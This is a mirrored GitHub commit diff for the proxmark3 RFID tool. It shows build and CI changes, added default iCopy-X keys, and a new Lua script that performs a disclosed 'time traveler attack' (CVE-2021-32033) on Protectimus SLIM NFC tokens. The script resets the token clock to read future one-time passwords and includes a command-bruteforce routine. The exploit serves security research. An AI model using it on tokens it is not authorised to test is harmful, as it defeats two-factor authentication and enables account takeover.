mirror of
https://github.com/RfidResearchGroup/proxmark3.git
synced 2025-08-21 22:03:42 -07:00
Merge branch 'master' into patch-1
This commit is contained in:
commit
d699463fa0
69 changed files with 12675 additions and 790 deletions
14
.github/workflows/macos.yml
vendored
14
.github/workflows/macos.yml
vendored
|
@ -1,6 +1,18 @@
|
|||
name: MacOS Build and Test
|
||||
|
||||
on: [push, pull_request]
|
||||
on:
|
||||
push:
|
||||
paths-ignore:
|
||||
- 'doc/**'
|
||||
- 'docker/**'
|
||||
- 'traces/**'
|
||||
- '.vscode/**'
|
||||
pull_request:
|
||||
paths-ignore:
|
||||
- 'doc/**'
|
||||
- 'docker/**'
|
||||
- 'traces/**'
|
||||
- '.vscode/**'
|
||||
|
||||
jobs:
|
||||
macos-make:
|
||||
|
|
15
.github/workflows/ubuntu.yml
vendored
15
.github/workflows/ubuntu.yml
vendored
|
@ -1,6 +1,19 @@
|
|||
name: Ubuntu Build and Test
|
||||
|
||||
on: [push, pull_request]
|
||||
on:
|
||||
push:
|
||||
paths-ignore:
|
||||
- 'doc/**'
|
||||
- 'docker/**'
|
||||
- 'traces/**'
|
||||
- '.vscode/**'
|
||||
pull_request:
|
||||
paths-ignore:
|
||||
- 'doc/**'
|
||||
- 'docker/**'
|
||||
- 'traces/**'
|
||||
- '.vscode/**'
|
||||
|
||||
|
||||
jobs:
|
||||
ubuntu-make:
|
||||
|
|
15
.github/workflows/windows.yml
vendored
15
.github/workflows/windows.yml
vendored
|
@ -1,6 +1,19 @@
|
|||
name: Windows Build and Test
|
||||
|
||||
on: [push, pull_request]
|
||||
on:
|
||||
push:
|
||||
paths-ignore:
|
||||
- 'doc/**'
|
||||
- 'docker/**'
|
||||
- 'traces/**'
|
||||
- '.vscode/**'
|
||||
pull_request:
|
||||
paths-ignore:
|
||||
- 'doc/**'
|
||||
- 'docker/**'
|
||||
- 'traces/**'
|
||||
- '.vscode/**'
|
||||
|
||||
|
||||
jobs:
|
||||
proxspace:
|
||||
|
|
3
.gitignore
vendored
3
.gitignore
vendored
|
@ -115,3 +115,6 @@ fpga_version_info.c
|
|||
!.vscode/templates/*.json
|
||||
!.vscode/extensions.json
|
||||
!.vscode/tasks.json
|
||||
|
||||
# docs
|
||||
!doc/*.json
|
||||
|
|
|
@ -4,6 +4,9 @@ This project uses the changelog in accordance with [keepchangelog](http://keepac
|
|||
|
||||
## [unreleased][unreleased]
|
||||
- Added '-4041x' option to lf indala clone for the Indala 4041X format (@chunkystew)
|
||||
- Fixed `hf fido` commands now works correctly (@merlokk)
|
||||
- Moved / renamed `client/resource/fido2_defparams.json` -> `client/resource/hf_fido2_defparams.json` (@merlokk)
|
||||
- Added `hf cipurse` commands to work with cipurse transport cards (@merlokk)
|
||||
- Added '--gap' option to lf em 410x sim for more control over sim data (@mwalker)
|
||||
- Changed `hf fido` - refactored load/save json objects (@iceman1001)
|
||||
- Moved / renamed `fido2.json` -> `client/resource/fido2_defparams.json` (@iceman1001)
|
||||
|
|
14
Makefile
14
Makefile
|
@ -251,19 +251,23 @@ print-%: ; @echo $* = $($*)
|
|||
style:
|
||||
# Make sure astyle is installed
|
||||
@which astyle >/dev/null || ( echo "Please install 'astyle' package first" ; exit 1 )
|
||||
# Remove spaces & tabs at EOL, add LF at EOF if needed on *.c, *.h, *.cpp. *.lua, *.py, *.pl, Makefile, *.v
|
||||
find . \( -not -path "./cov-int/*" -and -not -path "./fpga/xst/*" -and \( -name "*.[ch]" -or \( -name "*.cpp" -and -not -name "*.moc.cpp" \) -or -name "*.lua" -or -name "*.py" -or -name "*.pl" -or -name "Makefile" -or -name "*.v" \) \) \
|
||||
# Remove spaces & tabs at EOL, add LF at EOF if needed on *.c, *.h, *.cpp. *.lua, *.py, *.pl, Makefile, *.v, pm3
|
||||
find . \( -not -path "./cov-int/*" -and -not -path "./fpga/xst/*" -and \( -name "*.[ch]" -or \( -name "*.cpp" -and -not -name "*.moc.cpp" \) -or -name "*.lua" -or -name "*.py" -or -name "*.pl" -or -name "Makefile" -or -name "*.v" -or -name "pm3" \) \) \
|
||||
-exec perl -pi -e 's/[ \t]+$$//' {} \; \
|
||||
-exec sh -c "tail -c1 {} | xxd -p | tail -1 | grep -q -v 0a$$" \; \
|
||||
-exec sh -c "echo >> {}" \;
|
||||
# Apply astyle on *.c, *.h, *.cpp
|
||||
find . \( -not -path "./cov-int/*" -and \( -name "*.[ch]" -or \( -name "*.cpp" -and -not -name "*.moc.cpp" \) \) \) -exec astyle --formatted --mode=c --suffix=none \
|
||||
find . \( -not -path "./cov-int/*" -and \( \( -name "*.[ch]" -and -not -name "ui_overlays.h" \) -or \( -name "*.cpp" -and -not -name "*.moc.cpp" \) \) \) -exec astyle --formatted --mode=c --suffix=none \
|
||||
--indent=spaces=4 --indent-switches \
|
||||
--keep-one-line-blocks --max-instatement-indent=60 \
|
||||
--style=google --pad-oper --unpad-paren --pad-header \
|
||||
--align-pointer=name {} \;
|
||||
# Update commands.md
|
||||
[ -x client/proxmark3 ] && client/proxmark3 -m > doc/commands.md
|
||||
# Make sure python3 is installed
|
||||
@which python3 >/dev/null || ( echo "Please install 'python3' package first" ; exit 1 )
|
||||
# Update commands.json
|
||||
[ -x client/proxmark3 ] && client/proxmark3 --fulltext | python3 client/pyscripts/pm3_help2json.py - doc/commands.json
|
||||
|
||||
# Detecting weird codepages and tabs.
|
||||
ifeq ($(platform),Darwin)
|
||||
|
@ -278,7 +282,7 @@ miscchecks:
|
|||
# Make sure recode is installed
|
||||
@which recode >/dev/null || ( echo "Please install 'recode' package first" ; exit 1 )
|
||||
@echo "Files with suspicious chars:"
|
||||
@find . \( -not -path "./cov-int/*" -and -not -path "./client/deps/*" -and \( -name "*.[ch]" -or -name "*.cpp" -or -name "*.lua" -or -name "*.py" -or -name "*.pl" -or -name "Makefile" -or -name "*.v" \) \) \
|
||||
@find . \( -not -path "./cov-int/*" -and -not -path "./client/deps/*" -and \( -name "*.[ch]" -or -name "*.cpp" -or -name "*.lua" -or -name "*.py" -or -name "*.pl" -or -name "Makefile" -or -name "*.v" -or -name "pm3" \) \) \
|
||||
-exec sh -c "cat {} |recode utf8.. >/dev/null || echo {}" \;
|
||||
ifneq (,$(EDIT))
|
||||
@echo "Files with tabs: (EDIT enabled, files will be rewritten!)"
|
||||
|
@ -286,7 +290,7 @@ else
|
|||
@echo "Files with tabs: (rerun with EDIT=1 if you want to convert them with vim)"
|
||||
endif
|
||||
# to remove tabs within lines, one can try with: vi $file -c ':set tabstop=4' -c ':set et|retab' -c ':wq'
|
||||
@find . \( -not -path "./cov-int/*" -and -not -path "./client/deps/*" -and \( -name "*.[ch]" -or \( -name "*.cpp" -and -not -name "*.moc.cpp" \) -or -name "*.lua" -or -name "*.py" -or -name "*.pl" -or -name "*.md" -or -name "*.txt" -or -name "*.awk" -or -name "*.v" \) \) \
|
||||
@find . \( -not -path "./cov-int/*" -and -not -path "./client/deps/*" -and \( -name "*.[ch]" -or \( -name "*.cpp" -and -not -name "*.moc.cpp" \) -or -name "*.lua" -or -name "*.py" -or -name "*.pl" -or -name "*.md" -or -name "*.txt" -or -name "*.awk" -or -name "*.v" -or -name "pm3" \) \) \
|
||||
-exec sh -c "$(TABSCMD)" \;
|
||||
# @echo "Files with printf \\\\t:"
|
||||
# @find . \( -name "*.[ch]" -or \( -name "*.cpp" -and -not -name "*.moc.cpp" \) -or -name "*.lua" -or -name "*.py" -or -name "*.pl" -or -name "*.md" -or -name "*.txt" -or -name "*.awk" -or -name "*.v" \) \
|
||||
|
|
|
@ -193,7 +193,6 @@ set (TARGET_SOURCES
|
|||
${PM3_ROOT}/client/src/emv/test/cryptotest.c
|
||||
${PM3_ROOT}/client/src/emv/test/dda_test.c
|
||||
${PM3_ROOT}/client/src/emv/test/sda_test.c
|
||||
${PM3_ROOT}/client/src/emv/apduinfo.c
|
||||
${PM3_ROOT}/client/src/emv/cmdemv.c
|
||||
${PM3_ROOT}/client/src/emv/crypto.c
|
||||
${PM3_ROOT}/client/src/emv/crypto_polarssl.c
|
||||
|
@ -210,6 +209,10 @@ set (TARGET_SOURCES
|
|||
${PM3_ROOT}/client/src/fido/cbortools.c
|
||||
${PM3_ROOT}/client/src/fido/cose.c
|
||||
${PM3_ROOT}/client/src/fido/fidocore.c
|
||||
${PM3_ROOT}/client/src/iso7816/apduinfo.c
|
||||
${PM3_ROOT}/client/src/iso7816/iso7816core.c
|
||||
${PM3_ROOT}/client/src/cipurse/cipursecrypto.c
|
||||
${PM3_ROOT}/client/src/cipurse/cipursecore.c
|
||||
${PM3_ROOT}/client/src/loclass/cipher.c
|
||||
${PM3_ROOT}/client/src/loclass/cipherutils.c
|
||||
${PM3_ROOT}/client/src/loclass/elite_crack.c
|
||||
|
@ -241,6 +244,7 @@ set (TARGET_SOURCES
|
|||
${PM3_ROOT}/client/src/cmdhfepa.c
|
||||
${PM3_ROOT}/client/src/cmdhffelica.c
|
||||
${PM3_ROOT}/client/src/cmdhffido.c
|
||||
${PM3_ROOT}/client/src/cmdhfcipurse.c
|
||||
${PM3_ROOT}/client/src/cmdhficlass.c
|
||||
${PM3_ROOT}/client/src/cmdhfjooki.c
|
||||
${PM3_ROOT}/client/src/cmdhflegic.c
|
||||
|
|
|
@ -473,6 +473,7 @@ SRCS = aiddesfire.c \
|
|||
cmdhfemrtd.c \
|
||||
cmdhffelica.c \
|
||||
cmdhffido.c \
|
||||
cmdhfcipurse.c \
|
||||
cmdhficlass.c \
|
||||
cmdhflegic.c \
|
||||
cmdhfjooki.c \
|
||||
|
@ -535,7 +536,6 @@ SRCS = aiddesfire.c \
|
|||
crypto/asn1dump.c \
|
||||
crypto/asn1utils.c\
|
||||
crypto/libpcrypto.c\
|
||||
emv/apduinfo.c \
|
||||
emv/cmdemv.c \
|
||||
emv/crypto.c\
|
||||
emv/crypto_polarssl.c\
|
||||
|
@ -557,11 +557,15 @@ SRCS = aiddesfire.c \
|
|||
fido/cose.c \
|
||||
fido/cbortools.c \
|
||||
fido/fidocore.c \
|
||||
cipurse/cipursecore.c \
|
||||
cipurse/cipursecrypto.c \
|
||||
fileutils.c \
|
||||
flash.c \
|
||||
generator.c \
|
||||
graph.c \
|
||||
jansson_path.c \
|
||||
iso7816/apduinfo.c \
|
||||
iso7816/iso7816core.c \
|
||||
loclass/cipher.c \
|
||||
loclass/cipherutils.c \
|
||||
loclass/elite_crack.c \
|
||||
|
|
|
@ -61,7 +61,6 @@ add_library(pm3rrg_rdv4 SHARED
|
|||
${PM3_ROOT}/client/src/emv/test/cryptotest.c
|
||||
${PM3_ROOT}/client/src/emv/test/dda_test.c
|
||||
${PM3_ROOT}/client/src/emv/test/sda_test.c
|
||||
${PM3_ROOT}/client/src/emv/apduinfo.c
|
||||
${PM3_ROOT}/client/src/emv/cmdemv.c
|
||||
${PM3_ROOT}/client/src/emv/crypto.c
|
||||
${PM3_ROOT}/client/src/emv/crypto_polarssl.c
|
||||
|
@ -78,6 +77,8 @@ add_library(pm3rrg_rdv4 SHARED
|
|||
${PM3_ROOT}/client/src/fido/cbortools.c
|
||||
${PM3_ROOT}/client/src/fido/cose.c
|
||||
${PM3_ROOT}/client/src/fido/fidocore.c
|
||||
${PM3_ROOT}/client/src/iso7816/apduinfo.c
|
||||
${PM3_ROOT}/client/src/iso7816/iso7816core.c
|
||||
${PM3_ROOT}/client/src/loclass/cipher.c
|
||||
${PM3_ROOT}/client/src/loclass/cipherutils.c
|
||||
${PM3_ROOT}/client/src/loclass/elite_crack.c
|
||||
|
|
|
@ -12,3 +12,4 @@ F0E1D2C3B4A59687 # Kd from PicoPass 2k documentation
|
|||
31ad7ebd2f282168 # From HID multiclassSE reader
|
||||
6EFD46EFCBB3C875 # From pastebin: https://pastebin.com/uHqpjiuU
|
||||
E033CA419AEE43F9 # From pastebin: https://pastebin.com/uHqpjiuU
|
||||
2020666666668888 # iCopy-X
|
||||
|
|
|
@ -36,6 +36,8 @@ E9920427
|
|||
575F4F4B
|
||||
#
|
||||
50520901
|
||||
# iCopy-X
|
||||
20206666
|
||||
# Default pwd, simple:
|
||||
00000000
|
||||
11111111
|
||||
|
|
|
@ -193,7 +193,6 @@ set (TARGET_SOURCES
|
|||
${PM3_ROOT}/client/src/emv/test/cryptotest.c
|
||||
${PM3_ROOT}/client/src/emv/test/dda_test.c
|
||||
${PM3_ROOT}/client/src/emv/test/sda_test.c
|
||||
${PM3_ROOT}/client/src/emv/apduinfo.c
|
||||
${PM3_ROOT}/client/src/emv/cmdemv.c
|
||||
${PM3_ROOT}/client/src/emv/crypto.c
|
||||
${PM3_ROOT}/client/src/emv/crypto_polarssl.c
|
||||
|
@ -210,6 +209,8 @@ set (TARGET_SOURCES
|
|||
${PM3_ROOT}/client/src/fido/cbortools.c
|
||||
${PM3_ROOT}/client/src/fido/cose.c
|
||||
${PM3_ROOT}/client/src/fido/fidocore.c
|
||||
${PM3_ROOT}/client/src/iso7816/apduinfo.c
|
||||
${PM3_ROOT}/client/src/iso7816/iso7816core.c
|
||||
${PM3_ROOT}/client/src/loclass/cipher.c
|
||||
${PM3_ROOT}/client/src/loclass/cipherutils.c
|
||||
${PM3_ROOT}/client/src/loclass/elite_crack.c
|
||||
|
|
427
client/luascripts/hf_14a_protectimus_nfc.lua
Normal file
427
client/luascripts/hf_14a_protectimus_nfc.lua
Normal file
|
@ -0,0 +1,427 @@
|
|||
local cmds = require('commands')
|
||||
local getopt = require('getopt')
|
||||
local lib14a = require('read14a')
|
||||
local utils = require('utils')
|
||||
local ansicolors = require('ansicolors')
|
||||
|
||||
copyright = '(c) 2021 SySS GmbH'
|
||||
author = 'Matthias Deeg'
|
||||
version = 'v0.8'
|
||||
desc = [[
|
||||
This script can perform different operations on a Protectimus SLIM NFC
|
||||
hardware token - including a time traveler attack. See: SYSS-2021-007 (CVE-2021-32033)
|
||||
]]
|
||||
example = [[
|
||||
-- default
|
||||
script run hf_14a_protectimus_nfc
|
||||
]]
|
||||
usage = [[
|
||||
script run hf_14a_protectimus_nfc [-h | -i | -r | -t 2029-01-01T13:37:00+01:00]
|
||||
]]
|
||||
arguments = [[
|
||||
-h This help
|
||||
-i Read token info (e.g. firmware version, OTP interval)
|
||||
-r Read the current one-time password (OTP)
|
||||
-t Perform a time traveler attack to a specific datetime (yyyy-mm-ddTHH:MM:SS+HO:MO)
|
||||
e.g. 2029-01-01T13:37:00+01:00
|
||||
]]
|
||||
|
||||
-- Some globals
|
||||
local DEBUG = false -- the debug flag
|
||||
|
||||
-- Defined operations
|
||||
local READ_OTP = 1 -- read the one-time password
|
||||
local READ_INFO = 2 -- read the NFC token info
|
||||
local TIME_TRAVELER_ATTACK = 3 -- perform a time traveler attack
|
||||
|
||||
-- A debug printout function
|
||||
local function dbg(args)
|
||||
if not DEBUG then return end
|
||||
if type(args) == 'table' then
|
||||
local i = 1
|
||||
while args[i] do
|
||||
dbg(args[i])
|
||||
i = i + 1
|
||||
end
|
||||
else
|
||||
print('###', args)
|
||||
end
|
||||
end
|
||||
|
||||
-- This is only meant to be used when errors occur
|
||||
local function oops(err)
|
||||
print('ERROR:', err)
|
||||
core.clearCommandBuffer()
|
||||
return nil, err
|
||||
end
|
||||
|
||||
-- Usage help
|
||||
local function help()
|
||||
print(copyright)
|
||||
print(author)
|
||||
print(version)
|
||||
print(desc)
|
||||
print(ansicolors.cyan .. 'Usage' .. ansicolors.reset)
|
||||
print(usage)
|
||||
print(ansicolors.cyan .. 'Arguments' .. ansicolors.reset)
|
||||
print(arguments)
|
||||
print(ansicolors.cyan .. 'Example usage' .. ansicolors.reset)
|
||||
print(example)
|
||||
end
|
||||
|
||||
-- Get the Unix time (epoch) for a datetime string (yyyy-mm-ddTHH:MM:SS+HO:MO)
|
||||
function getUnixTime(datetime)
|
||||
|
||||
-- get time delta regarding Coordinated Universal Time (UTC)
|
||||
local now_local = os.time()
|
||||
local time_delta_to_utc = os.difftime(now_local, os.time(os.date("!*t", now_local)))
|
||||
local hour_offset, minute_offset = math.modf(time_delta_to_utc / 3600)
|
||||
|
||||
-- try to match datetime pattern "yyyy-mm-ddTHH:MM:SS"
|
||||
local datetime_pattern = "(%d+)-(%d+)-(%d+)T(%d+):(%d+):(%d+)+(%d+):(%d+)"
|
||||
local new_year, new_month, new_day, new_hour, new_minute, new_seconds, new_hour_offset, new_minute_offset = datetime:match(datetime_pattern)
|
||||
|
||||
if new_year == nil or new_month == nil or new_day == nil or
|
||||
new_hour == nil or new_minute == nil or new_seconds == nil or
|
||||
new_hour_offset == nil or new_minute_offset == nil then
|
||||
|
||||
print("[" .. ansicolors.red .. "-" .. ansicolors.reset .."] Error: Could not parse the given datetime\n" ..
|
||||
" Use the following format: yyyy-mm-ddTHH:MM:SS+HO:MO\n" ..
|
||||
" e.g. 2029-01-01T13:37:00+01:00")
|
||||
return nil
|
||||
end
|
||||
|
||||
-- get the requested datetime as Unix time (UTC)
|
||||
local epoch = os.time({year = new_year, month = new_month, day = new_day, hour = new_hour + hour_offset - new_hour_offset,
|
||||
min = new_minute + minute_offset - new_minute_offset, sec = new_seconds})
|
||||
|
||||
return epoch
|
||||
end
|
||||
|
||||
-- Send a "raw" IOS 14443-A package, i.e. "hf 14a raw" command
|
||||
function sendRaw(rawdata, options)
|
||||
|
||||
-- send raw
|
||||
local flags = lib14a.ISO14A_COMMAND.ISO14A_NO_DISCONNECT
|
||||
+ lib14a.ISO14A_COMMAND.ISO14A_RAW
|
||||
+ lib14a.ISO14A_COMMAND.ISO14A_APPEND_CRC
|
||||
|
||||
local command = Command:newMIX{
|
||||
cmd = cmds.CMD_HF_ISO14443A_READER,
|
||||
|
||||
-- arg1 is the defined flags for sending "raw" ISO 14443A package
|
||||
arg1 = flags,
|
||||
|
||||
-- arg2 contains the length, which is half the length of the ASCII
|
||||
-- string data
|
||||
arg2 = string.len(rawdata) / 2,
|
||||
data = rawdata
|
||||
}
|
||||
|
||||
return command:sendMIX(options.ignore_response)
|
||||
end
|
||||
|
||||
-- Read the current one-time password (OTP)
|
||||
function readOTP(show_output)
|
||||
-- read OTP command
|
||||
local cmd = "028603420042"
|
||||
local otp_value = ''
|
||||
|
||||
if show_output then
|
||||
print("[" .. ansicolors.green .. "+" .. ansicolors.reset .. "] Try to read one-time password (OTP)")
|
||||
end
|
||||
|
||||
-- send the raw command
|
||||
res, err = sendRaw(cmd , {ignore_response = ignore_response})
|
||||
if err then
|
||||
lib14a.disconnect()
|
||||
return oops(err)
|
||||
end
|
||||
|
||||
-- parse the response
|
||||
local cmd_response = Command.parse(res)
|
||||
local len = tonumber(cmd_response.arg1) * 2
|
||||
local data = string.sub(tostring(cmd_response.data), 0, len - 4)
|
||||
|
||||
-- check the response
|
||||
if len == 0 then
|
||||
print("[" .. ansicolors.red .. "-" .. ansicolors.reset .."] Error: Could not read the OTP")
|
||||
return nil
|
||||
end
|
||||
|
||||
if data:sub(0, 8) == "02AA0842" then
|
||||
-- extract the binary-coded decimal (BCD) OTP value from the response
|
||||
for i = 10, #data - 2, 2 do
|
||||
local c = data:sub(i, i)
|
||||
otp_value = otp_value .. c
|
||||
end
|
||||
|
||||
-- show the output if requested
|
||||
if show_output then
|
||||
print("[" .. ansicolors.green .. "+" .. ansicolors.reset .. "] OTP: " .. ansicolors.green .. otp_value .. ansicolors.reset)
|
||||
end
|
||||
else
|
||||
print("[" .. ansicolors.red .. "-" .. ansicolors.reset .."] Error: Could not read the OTP")
|
||||
otp_value = nil
|
||||
end
|
||||
|
||||
return otp_value
|
||||
end
|
||||
|
||||
-- Read token info
|
||||
function readInfo(show_output)
|
||||
-- read info command
|
||||
local cmd = "0286021010"
|
||||
|
||||
if show_output then
|
||||
print("[" .. ansicolors.green .. "+" .. ansicolors.reset .. "] Try to read token info")
|
||||
end
|
||||
|
||||
-- send the raw command
|
||||
res, err = sendRaw(cmd , {ignore_response = ignore_response})
|
||||
if err then
|
||||
lib14a.disconnect()
|
||||
return oops(err)
|
||||
end
|
||||
|
||||
-- parse the response
|
||||
local cmd_response = Command.parse(res)
|
||||
local len = tonumber(cmd_response.arg1) * 2
|
||||
local data = string.sub(tostring(cmd_response.data), 0, len - 4)
|
||||
|
||||
-- check the response
|
||||
if len == 0 then
|
||||
print("[-] Error: Could not read the token info")
|
||||
return nil
|
||||
end
|
||||
|
||||
if data:sub(0, 8) == "02AA0B10" then
|
||||
-- extract the token info from the response
|
||||
local hardware_schema = tonumber(data:sub(11, 12))
|
||||
local firmware_version_major = tonumber(data:sub(13, 14))
|
||||
local firmware_version_minor = tonumber(data:sub(13, 14))
|
||||
local hardware_rtc = tonumber(data:sub(19, 20))
|
||||
local otp_interval = tonumber(data:sub(23, 24))
|
||||
|
||||
local info = "[" .. ansicolors.green .. "+" .. ansicolors.reset .. "] Token info\n" ..
|
||||
" Hardware schema: " .. ansicolors.green .. "%s" .. ansicolors.reset .."\n" ..
|
||||
" Firmware version: " .. ansicolors.green .. "%s.%s" .. ansicolors.reset .. "\n" ..
|
||||
" Hardware RTC: " .. ansicolors.green .. "%s" .. ansicolors.reset .. "\n" ..
|
||||
" OTP interval: " .. ansicolors.green .. "%s" .. ansicolors.reset
|
||||
|
||||
-- check hardware real-time clock (RTC)
|
||||
if hardware_rtc == 1 then
|
||||
hardware_rtc = true
|
||||
else
|
||||
hardware_rtc = false
|
||||
end
|
||||
|
||||
-- check one-time password interval
|
||||
if otp_interval == 0 then
|
||||
otp_interval = '30'
|
||||
elseif otp_interval == 10 then
|
||||
otp_interval = '60'
|
||||
else
|
||||
otp_interval = 'unknown'
|
||||
end
|
||||
|
||||
if show_output then
|
||||
-- show the token info
|
||||
print(string.format(info, hardware_schema, firmware_version_major,
|
||||
firmware_version_minor, hardware_rtc,
|
||||
otp_interval))
|
||||
end
|
||||
|
||||
return otp_interval
|
||||
else
|
||||
print("[" .. ansicolors.red .. "-" .. ansicolors.reset .."] Error: Could not read the token info")
|
||||
otp_value = nil
|
||||
end
|
||||
|
||||
return info
|
||||
end
|
||||
|
||||
-- Bruteforce commands
|
||||
function bruteforceCommands()
|
||||
-- read OTP command
|
||||
local cmd = ''
|
||||
|
||||
if show_output then
|
||||
print("[" .. ansicolors.green .. "+" .. ansicolors.reset .. "] Bruteforce commands")
|
||||
end
|
||||
|
||||
for n = 0, 255 do
|
||||
cmd = string.format("028602%d%d", n)
|
||||
|
||||
print(string.format("[+] Send command %s", cmd))
|
||||
|
||||
-- send the raw command
|
||||
res, err = sendRaw(cmd , {ignore_response = ignore_response})
|
||||
if err then
|
||||
lib14a.disconnect()
|
||||
return oops(err)
|
||||
end
|
||||
|
||||
-- parse the response
|
||||
local cmd_response = Command.parse(res)
|
||||
local len = tonumber(cmd_response.arg1) * 2
|
||||
local data = string.sub(tostring(cmd_response.data), 0, len - 4)
|
||||
|
||||
-- check the response
|
||||
if len == 0 then
|
||||
print("[" .. ansicolors.red .. "-" .. ansicolors.reset .."] Error: No response")
|
||||
else
|
||||
print(data)
|
||||
end
|
||||
|
||||
io.read(1)
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
-- Set an arbitrary Unix time (epoch)
|
||||
function setTime(time, otp_interval)
|
||||
-- calculate the two required time variables
|
||||
local time_var1 = math.floor(time / otp_interval)
|
||||
local time_var2 = math.floor(time % otp_interval)
|
||||
|
||||
-- build the raw command data
|
||||
local data = "120000" ..string.format("%02x", otp_interval) .. string.format("%08x", time_var1) .. string.format("%02x", time_var2)
|
||||
|
||||
-- calculate XOR checksum on data
|
||||
local checksum = 0
|
||||
for i = 1, #data, 2 do
|
||||
local c = data:sub(i, i + 1)
|
||||
checksum = bit32.bxor(checksum , tonumber(c, 16))
|
||||
end
|
||||
|
||||
-- build the complete raw command
|
||||
local cmd = "0286" .. string.format("%02x", string.len(data) / 2 + 1) .. data .. string.format("%02x", checksum)
|
||||
|
||||
print(string.format("[" .. ansicolors.green .. "+" .. ansicolors.reset .. "] Set Unix time " .. ansicolors.yellow .. "%d" .. ansicolors.reset, time))
|
||||
|
||||
-- send raw command
|
||||
res, err = sendRaw(cmd , {ignore_response = ignore_response})
|
||||
if err then
|
||||
lib14a.disconnect()
|
||||
return oops(err)
|
||||
end
|
||||
|
||||
-- parse the response
|
||||
local cmd_response = Command.parse(res)
|
||||
local len = tonumber(cmd_response.arg1) * 2
|
||||
local data = string.sub(tostring(cmd_response.data), 0, len - 4)
|
||||
end
|
||||
|
||||
-- Set the current time
|
||||
function setCurrentTime(otp_interval)
|
||||
-- get the current Unix time (epoch)
|
||||
local current_time = os.time(os.date("*t"))
|
||||
setTime(current_time, otp_interval)
|
||||
end
|
||||
|
||||
-- Perform a time travel attack for generating a future OTP
|
||||
function timeTravelAttack(datetime_string, otp_interval)
|
||||
if nil == datetime_string then
|
||||
print("[" .. ansicolors.red .. "-" .. ansicolors.reset .."] Error: No valid datetime string given")
|
||||
return nil
|
||||
end
|
||||
|
||||
-- get the future time as Unix time
|
||||
local future_time = getUnixTime(datetime_string)
|
||||
|
||||
if nil == future_time then
|
||||
return
|
||||
end
|
||||
|
||||
-- set the future time
|
||||
setTime(future_time, otp_interval)
|
||||
|
||||
print("[" .. ansicolors.red .. "!" .. ansicolors.reset .. "] Please power the token and press <ENTER>")
|
||||
-- while loop do
|
||||
io.read(1)
|
||||
|
||||
-- read the OTP
|
||||
local otp = readOTP(false)
|
||||
print(string.format("[" .. ansicolors.green .. "+" .. ansicolors.reset .. "] The future OTP on " ..
|
||||
ansicolors.yellow .. "%s (%d) " .. ansicolors.reset .. "is " ..
|
||||
ansicolors.green .. "%s" .. ansicolors.reset, datetime_string, future_time, otp))
|
||||
|
||||
-- reset the current time
|
||||
setCurrentTime(otp_interval)
|
||||
end
|
||||
|
||||
-- Show a fancy banner
|
||||
function banner()
|
||||
print(string.format("Proxmark3 Protectimus SLIM NFC Script %s by Matthias Deeg - SySS GmbH\n" ..
|
||||
"Perform different operations on a Protectimus SLIM NFC hardware token", version))
|
||||
end
|
||||
|
||||
-- The main entry point
|
||||
function main(args)
|
||||
local ignore_response = false
|
||||
local no_rats = false
|
||||
local operation = READ_OTP
|
||||
local target_time = nil
|
||||
|
||||
-- show a fancy banner
|
||||
banner()
|
||||
|
||||
-- read the parameters
|
||||
for o, a in getopt.getopt(args, 'hirt:b') do
|
||||
if o == 'h' then return help() end
|
||||
if o == 'i' then operation = READ_INFO end
|
||||
if o == 'r' then operation = READ_OTP end
|
||||
if o == 't' then
|
||||
operation = TIME_TRAVELER_ATTACK
|
||||
target_time = a
|
||||
end
|
||||
if o == 'b' then bruteforceCommands() end
|
||||
end
|
||||
|
||||
-- connect to the TOTP hardware token
|
||||
info, err = lib14a.read(true, no_rats)
|
||||
if err then
|
||||
lib14a.disconnect()
|
||||
return oops(err)
|
||||
end
|
||||
|
||||
-- show tag info
|
||||
print(("[" .. ansicolors.green .. "+" .. ansicolors.reset .. "] Found token with UID " .. ansicolors.green .. "%s" .. ansicolors.reset):format(info.uid))
|
||||
|
||||
-- perform the requested operation
|
||||
if operation == READ_OTP then
|
||||
readOTP(true)
|
||||
elseif operation == READ_INFO then
|
||||
readInfo(true)
|
||||
elseif operation == TIME_TRAVELER_ATTACK then
|
||||
-- read token info and get OTP interval
|
||||
local otp_interval = readInfo(false)
|
||||
if nil == otp_interval then
|
||||
return
|
||||
end
|
||||
-- perform time traveler attack
|
||||
timeTravelAttack(target_time, otp_interval)
|
||||
end
|
||||
|
||||
-- disconnect
|
||||
lib14a.disconnect()
|
||||
end
|
||||
|
||||
-------------------------
|
||||
-- Testing
|
||||
-------------------------
|
||||
function selftest()
|
||||
DEBUG = true
|
||||
dbg('Performing test')
|
||||
main()
|
||||
dbg('Tests done')
|
||||
end
|
||||
-- Flip the switch here to perform a sanity check.
|
||||
-- It read a nonce in two different ways, as specified in the usage-section
|
||||
if '--test' == args then
|
||||
selftest()
|
||||
else
|
||||
-- Call the main
|
||||
main(args)
|
||||
end
|
207
client/pyscripts/pm3_help2json.py
Executable file
207
client/pyscripts/pm3_help2json.py
Executable file
|
@ -0,0 +1,207 @@
|
|||
#!/usr/bin/env python3
|
||||
"""
|
||||
PM3 Help 2 JSON
|
||||
|
||||
This script takes the full text help output from the PM3 client and converts it to JSON.
|
||||
|
||||
Authors / Maintainers:
|
||||
- Samuel Windall
|
||||
|
||||
Note:
|
||||
This file is used during the pm3 client build
|
||||
any changes to the call script parameters should be reflected in the makefile
|
||||
"""
|
||||
|
||||
import re
|
||||
import json
|
||||
import datetime
|
||||
import argparse
|
||||
import logging
|
||||
|
||||
##############################################################################
|
||||
# Script version data: (Please increment when making updates)
|
||||
|
||||
APP_NAME = 'PM3Help2JSON'
|
||||
|
||||
VERSION_MAJOR = 1
|
||||
VERSION_MINOR = 0
|
||||
|
||||
##############################################################################
|
||||
# Main Application Code:
|
||||
|
||||
|
||||
def main():
|
||||
"""The main function for the script"""
|
||||
args = build_arg_parser().parse_args()
|
||||
logging_format = '%(message)s'
|
||||
if args.debug:
|
||||
logging.basicConfig(level=logging.DEBUG, format=logging_format)
|
||||
else:
|
||||
logging.basicConfig(level=logging.WARN, format=logging_format)
|
||||
logging.info(f'{get_version()} starting...')
|
||||
help_text = args.input_file.read()
|
||||
command_data = parse_all_command_data(help_text)
|
||||
meta_data = build_metadata(args.meta, command_data)
|
||||
output_data = {
|
||||
'metadata': meta_data,
|
||||
'commands': command_data,
|
||||
}
|
||||
json.dump(output_data, args.output_file, indent=4, sort_keys=True)
|
||||
logging.info(f'{get_version()} completed!')
|
||||
|
||||
|
||||
def build_arg_parser():
|
||||
"""Build the argument parser for reading the program arguments"""
|
||||
parser = argparse.ArgumentParser()
|
||||
parser.add_argument('input_file', type=argparse.FileType('r'), help='Source of full text help from the PM3 client.')
|
||||
